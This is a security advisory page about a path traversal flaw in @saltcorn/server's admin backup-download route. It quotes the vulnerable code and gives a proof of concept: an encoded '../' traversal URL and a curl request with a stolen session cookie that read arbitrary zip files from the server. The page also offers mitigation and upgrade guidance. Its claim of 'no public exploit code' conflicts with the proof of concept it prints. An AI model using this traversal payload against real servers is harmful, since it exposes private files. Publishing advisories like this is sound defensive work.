# GHSA-277h-px4m-62q8: @saltcorn/server arbitrary file zip read and download when downloading auto backups

> Admin users can exploit path traversal in backup downloads to read arbitrary zip files from the server.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 3 Oct 2024

## What is GHSA-277h-px4m-62q8?

GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.

### Official description

### Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682

```js
router.get(
  "/auto-backup-download/:filename",
  isAdmin,
  error_catcher(async (req, res) => {
    const { filename } = req.params; // [1] source
    [...]
    if (
      !isRoot ||
      !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
    ) {
      res.redirect("/admin/backup");
      return;
    }
    const auto_backup_directory = getState().getConfig("auto_backup_directory");
    res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
  })
);
```

### Steps to reproduce (PoC)

- create a file with `.zip` extension under `/tmp` folder:
```
echo "secret12345" > /tmp/secret.zip
```
- log into the application as an admin user
- visit the url   `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`
- download the zip file and then check if the zip was indeed downloaded:
```bash
cat secret.zip
secret12345
```

 
- Alternatively send the following request to retrieve the file just created.
```bash
curl -i -X $'GET' \
    -H $'Host: localhost:3000' \
    -H $'Connection: close' \
    -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
    $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
```

**NOTE**:
To obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.

### Impact

Arbitrary zip files download (information disclosure).

### Recommended Mitigation

Resolve the `filename` parameter before checking if it starts with `backup_file_prefix` .

## Which versions are affected by GHSA-277h-px4m-62q8?

2 open source packages ship an affected version, including @saltcorn/server.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@saltcorn/server` | npm | All versions | 1.0.0-beta.14 |
| `@saltcorn/server` | npm | All versions | 1.0.0-beta.14 |

## How do I fix GHSA-277h-px4m-62q8?

Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

## Is GHSA-277h-px4m-62q8 being exploited?

There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-277h-px4m-62q8 and fix it if it is affected.

What it is: GHSA-277h-px4m-62q8 is a path traversal vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-277h-px4m-62q8 in the wild and no public exploit code.

Affected packages and fixed versions:
- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14
- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-277h-px4m-62q8/ (Markdown: https://insights.sbomify.com/GHSA-277h-px4m-62q8/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-277h-px4m-62q8

---
From sbomify Insights: https://insights.sbomify.com/GHSA-277h-px4m-62q8/
Summaries are generated and may contain mistakes; the official description above is the record.